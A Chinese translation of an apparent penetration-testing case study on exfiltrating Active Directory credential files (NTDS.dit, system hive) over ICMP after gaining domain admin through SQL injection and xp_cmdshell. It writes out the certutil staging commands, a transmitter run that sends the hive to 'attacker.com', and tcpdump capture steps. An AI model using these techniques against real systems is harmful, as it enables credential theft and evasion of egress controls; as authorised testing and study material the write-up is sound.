在最近的一个渗透测试项目中,我们遇到的一种情况,服务器上不允许出站流量。只有ICMP(和DNS)的流量被允许。在这篇博客文章我们来讨论如何使用ICMP隧道传输一个未被过滤的数据。
设定一个场景,场景是一个web应用程序的渗透测试。该web应用程序是唯一可用的连在客户的内网上的,提供了一个VPN访问应用程序。该VPN只允许我们连接到这台主机(Web服务器IP)和一个端口(443)。
攻击
事实证明,我们成功地做到这一点:
web应用程序存在sql注入漏洞。
web应用程序使用sa连接到mssql数据库。
我们可以使用xp_cmdshell来执行系统命令(sqlmap),需要注意的是通过SQL注入获得的shell不是交互式的。我们发出的命令首先被存储在数据库中的表,然后通过SQL查询中读出。另外,站库分离。 Web服务器没有以外的任何端口。
SQLServer并不是以system权限运行的,但是是一个域管理员帐户(domain sqlsvc)。
结果,我们获得了域控。
阻碍
主机在内部域中没有外出的流量,我们试图寻找代理服务器,然后并没有找到,唯一的连接只允许ICMP和DNS流量。所以,我们现在所面临的问题是:
1.怎么不通过借助工具来获取管理的hash(metasploit, fgdump, pwdump等)。
2.即使我们获得了hash,那么我怎么把他导出到我们的机器上进行离线破解。
问题1很快被解决了,我们从一个有趣的博客上找到了方法,使用Volume Shadow Copies技术获取了NTDS.dit和system.hive这两个文件。
现在我们有了hive的文件,我们需要把他发送到我们的机器上进行离线破解,我们希望有这么一个工具,能够把hive文件以icmp数据包的形式从目标机上发送到我们的机器上,然后还需要一个数据包捕获工具,捕获所有的请求(ping)流量。
我们找到了一些现有的关于icmp隧道的工具,但是问题是:
1.貌似现有的工具中没有能够传递文件的。
2.我们怎么把客户端传到目标机上面。
所以我们研究了一下,并且找到了方法!
1.把hive转换为base64。
2.把这个base64的文本文件分割为小块。
3.使用分割后的块创建一个icmp隧道,使之跟我们的服务器具有相同的序列号。
4.在我们的机器上运行流量捕获工具捕获流量。
5.当接收到所有数据之后,删除所有的请求头,删除所有包含ping请求的数据。
6.在我们的机器上进行base64解码。
幸运的是,windows默认安装了一个名为certutil的软件,能够轻松帮助我们进行base64的编码。
然后我们使用certutil对hive文件进行base64编码。
当我们有编码后的文件,我们需要创建成块,使用ICMP发送到我们的服务器。这是比较
蛋疼的,所以我们创建了一个python脚本,把base64编码的文本作为输入将其划分成块,以ICMP的请求方式把每块发送到指定的公网IP地址的。
然后我们还得把py文件转换成exe文件,因为windows默认不装python的,可以使用py2exe,下面是一个示例代码片段。
from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup( options = {'py2exe': {'bundle_files': 1, 'compressed': True}}, windows = [{'script': "ICMP.py"}], zipfile = None, )
要注意的是,当我们使用bundle_files选项来转换文件的时候,将会输出一个独立的可执行文件,包含所有需要的模块和使用的python解释器(废话多啊阿西吧)。
现在有了exe文件,那么我们怎么把这个卵传到目标机上呢,看下面
1.使用certutil把exe转换为base64编码的文本。
2.大概80kb吧,我们决定把它转换成块,8000个字符一行,大概660行。要注意的是echo命令有限制长度的,所以使用这个方法。
3.所以我们有660行左右的web请求,实质上是通过sqlmap来执行的。
cmd.exe /c echo "base64_text">>ICMPt_transmitter.txt
4.然后我们执行以下命令,最终在目标上面的到了exe文件。
certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe
现在我们就来执行exe文件,要传递的文件和接受的地址作为参数,看下面。
ICMP_transmitter.exe "hive" "attacker.com"
它使用certutil把hive文件转换为base64编码,创建块,并且以icmp的方式发送块。
在我们的服务器上使用tcpdump来捕获所有的icmp流量,保存为pcap文件,当传输完成之后,通过tcpdump的参数建立base64编码的文件,当最终的文件确定之后,使用certutil来转换。
tcpdump -i eth0 ICMP and ICMP[ICMPtype]=ICMP-echo -XX -vvv -w output.txt
文件的完整性可以对比传输前后的md5值。
步骤
-
使用certutil计算目标机上文件的md5值。
-
在我们的机器上启动tcpdump捕获所有的icmp数据包。
-
使用ICMP_transmitter.exe把hive文件传输到我们的机器上。
-
-
当传输结束之后,使用ctrl+c来结束tcpdump的进程,输出的文件是pcap后缀或txt后缀可以使用-w参数来指定。
-
使用parser.sh来解析输出文件,获取到了干净的base64编码的文件命名为transmitted.txt
-
如果你的系统是windows那么同样使用certutil命令来把transmitted.txt文件转换为hive文件,如果是linux/mac系统,那么使用base64 -d命令。然后再检查下md5是否相同。
可能不是个优雅的方法,但是确实奏效了。
文章里面的脚本:
icmp_transmitter.py:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate/blob/master/icmp_transmitter.py
icmp_tranmitter.exe:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate/releases/download/0.1/icmp_tranmitter.exe
parser.sh:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate/blob/master/parser.sh
原文:https://www.notsosecure.com/2015/10/15/icmp-tunnels-a-case-study/
翻译:小歪(关注安全技术公众号)
转载请注明。
本文始发于微信公众号(关注安全技术):ICMP隧道进行文件传输 - 一个学习的case
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论